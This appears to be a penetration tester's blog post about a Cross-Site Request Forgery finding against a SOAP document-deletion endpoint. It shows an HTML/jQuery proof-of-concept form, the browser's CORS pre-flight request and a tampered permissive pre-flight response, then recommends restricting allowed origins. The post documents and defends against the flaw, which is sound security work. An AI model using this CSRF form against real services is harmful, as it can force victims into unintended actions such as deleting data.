During one of our last projects in a large environment we encountered an interesting flaw. Although it was not possible to exploit it in this particular context, it’s worth to be mentioned here. The finding was about Cross-Site Request Forgery, a quite well-known attack that forces a user to execute unintended actions within the authenticated context of a web application. With a little help of social engineering (like sending a link via email, chat, embedded code in documents, etc…) an attacker may force the user to execute actions of the attacker’s choice.
The Object of evaluation was a SOAP request, which lead to deletion of various documents that had to be specified in the request body by means of identification numbers. To create a proof-of-concept, we usually build an HTML form that sends the corresponding request when clicking the “Go” button (as depicted below).
<!DOCTYPE html>
<html>
<head>
<script type="text/javascript" src="jquery.js" ></script>
<script type="text/javascript">
function sendData() {
jQuery.ajaxSetup({
headers: {'soapaction': 'soa'}
});
jQuery.ajax({
type: 'POST',
url: 'https://URL-OF-THE-WEBSERVICE',
contentType: 'text/xml; charset=UTF-8',
data: $('#ernwform').serialize()
});
return false;
}
</script>
</head>
<body>
<form id="ernwform" action="https://URL-OF-THE-WEBSERVICE" method="POST" enctype="text/plain">
<input type="hidden" name="$SOAPBODY" value="$SOAPBODY" />
<input type="submit" value="Go!" onclick="return sendData();"/>
</form>
</body>
</html>
After submitting this form, we could observe the browser sending an OPTIONS request – the so called pre-flight request – to the target server instead of sending the actual SOAP request.
OPTIONS /target/webservice HTTP/1.1
Host: $HOSTADDRESS
User-Agent: Mozilla 4.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Origin: null
Access-Control-Request-Method: POST
Access-Control-Request-Headers: soapaction
Pragma: no-cache
Cache-Control: no-cache
That happens due to the set custom header (soapaction: soa) which is needed by the web server to process the SOAP request. By means of this pre-flight request the browser checks whether the web server:
- accepts specified custom headers (Access-Control-Request-Headers)
- accepts the specified request method (Access-Control-Request-Method)
- accepts requests from different origins
If a web server is configured correctly, it may allow usage of custom headers and the specified method but it should definitely deny custom origins as this is the only prevention mechanism against this kind of attack if no CSRF tokens are implemented. The prohibition of custom origins causes the browser not to send the SOAP request.
For testing purposes we intercepted the pre-flight response and changed it as seen in the following listing:
HTTP/1.1 200 OK
Connection: Keep-Alive
Date: Thu, 25 Jul 2013 12:06:33 GMT
Server: Apache
Allow: OPTIONS,GET,HEAD,POST
Access-Control-Allow-Origins: *
Access-Control-Allow-Headers: soapaction
Access-Control-Allow-Methods: OPTIONS,GET,HEAD,POST
Content-Type: text/html
Content-Language: de
cache-control: no-cache
expires: Wed, 09-Nov-1999 23:12:40 GMT
pragma: no-cache
Content-Length: 0
After receiving this answer the browser automatically sent the SOAP request and CSRF becomes possible.
That said it again becomes obvious that configuration has to be done with security in mind. Once again the minimal machine approach (in that context: only allow origins which are expected to get requests from) supports mentally in securing web server configuration.
Have a nice weekend
Kevin